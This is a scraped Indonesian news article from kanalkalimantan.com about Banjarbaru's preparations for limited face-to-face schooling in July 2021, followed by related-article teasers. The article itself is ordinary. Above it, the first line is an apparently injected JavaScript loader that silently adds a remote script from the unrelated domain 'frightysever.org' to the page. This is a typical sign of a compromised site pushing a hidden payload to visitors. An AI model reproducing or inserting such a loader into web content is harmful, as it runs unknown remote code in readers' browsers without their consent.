(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kembali ke sekolah alias masuk kelas!. Awal tahun ajaran baru 2021/2022 bisa dipastikan siswa di kota Banjarbaru akan kembali turun ke sekolah.
Sekolah dari jenjang SD dan SMP yang menjadi piloting Pembelajaran Tatap Muka (PTM) melakukan persiapan akhir proses belajar tatap muka di kelas.
Baca juga: Covid-19 Meroket. Tabung Oksigen Langka di Banjarbaru, Orang Cari hingga Tengah Malam!
Dimana awal tahun ajaran baru 2021/2022 di Kota Banjarbaru akan dimulai pada 12 Juli 2021. Recana PTM di sejumlah sekolah di Banjarbaru dibahas Wali Kota Banjarbaru Aditya Mufti Ariffin saat memimpin rapat evaluasi persiapan PTM di aula Gawi Sabarataan Balai Kota Banjarbaru, Senin (28/6/2021).
Rapat evaluasi dihadiri Kapolres Banjarbaru AKBP Doni Hadi Santoso, Dandim 1006/Mtp Letkol Inf Imam Muchtarom, Kajari Banjarbaru Andri Irawan, Kepala Dinas Kesehatan Rizana Mirza, Kepala Dinas Pendidikan Dr Muhammad Aswan, Kalak BPBD Banjarbaru, Ketua Ikatan Dokter Anak Indonesia (IDAI) Kota Banjarbaru, Ketua Ikatan Guru Indonesia (IGI) Kota Banjarbaru serta perwakilan PGRI Banjarbaru.
Kepala Dinas Pendidikan Kota Banjarbaru Dr Muhammad Aswan menjelaskan, sesuai Instruksi Presiden bahwa aspek yang harus diperhatikan saat penerapan PTM adalah peserta didik paling banyak 25%.
Baca juga: Walhi Sebut Program Ketahanan Pangan Sejak Soeharto Kerap Gagal karena Ada Aktor Korporasi
“Jadi siswa masuk maksimal dua hari dalam sepekan, 2 jam pelajaran dalam sehari. Itu pun harus ada persetujuan orangtua dan terakhir semua guru harus sudah divaksin,” jelas Kadisdik Banjarbaru.
Sekadar diketahui, jumlah guru di Kota Banjarbaru sebanyak 4.226 orang, sementara yang sudah divaksin sebanyak 3.705 guru.
Sementara itu, Wali Kota Banjarbaru Aditya Mufti Ariffin mengatakan, rapat evaluasi hari ini ingin memastikan sekolah mana yang sudah siap menerapkan proses belajar secara tatap muka. Dinas Pendidikan bersama Satgas Covid-19 Kota Banjarbaru harus memastikan pihak sekolah bisa menerapkan protokol kesehatan.
“Hari ini menentukan sekolah mana yang ditunjuk sebagai piloting PTM, dan bisa melaksanakan protokol kesehatan dengan sebaik-baiknya,” ujarnya.
PTM yang akan dimulai awal tahun ajaran baru, Wali Kota mewanti-wanti, sekolah tidak akan menimbulkan penularan Covid-19 di Kota Banjarbaru.
“BPBD, Dinas Kesehatan dengan Dinas Pendidikan agar kembali melakukan penilaian sekolah-sekolah mana saja yang sarana pra sarana lengkap untuk menggelar PTM,” pungkasnya. (kanalkalimantan.com/dewi)
Reporter : dewi
Editor : bie
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk (BRI) bersama PT Kereta Api Indonesia (Persero)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
This website uses cookies.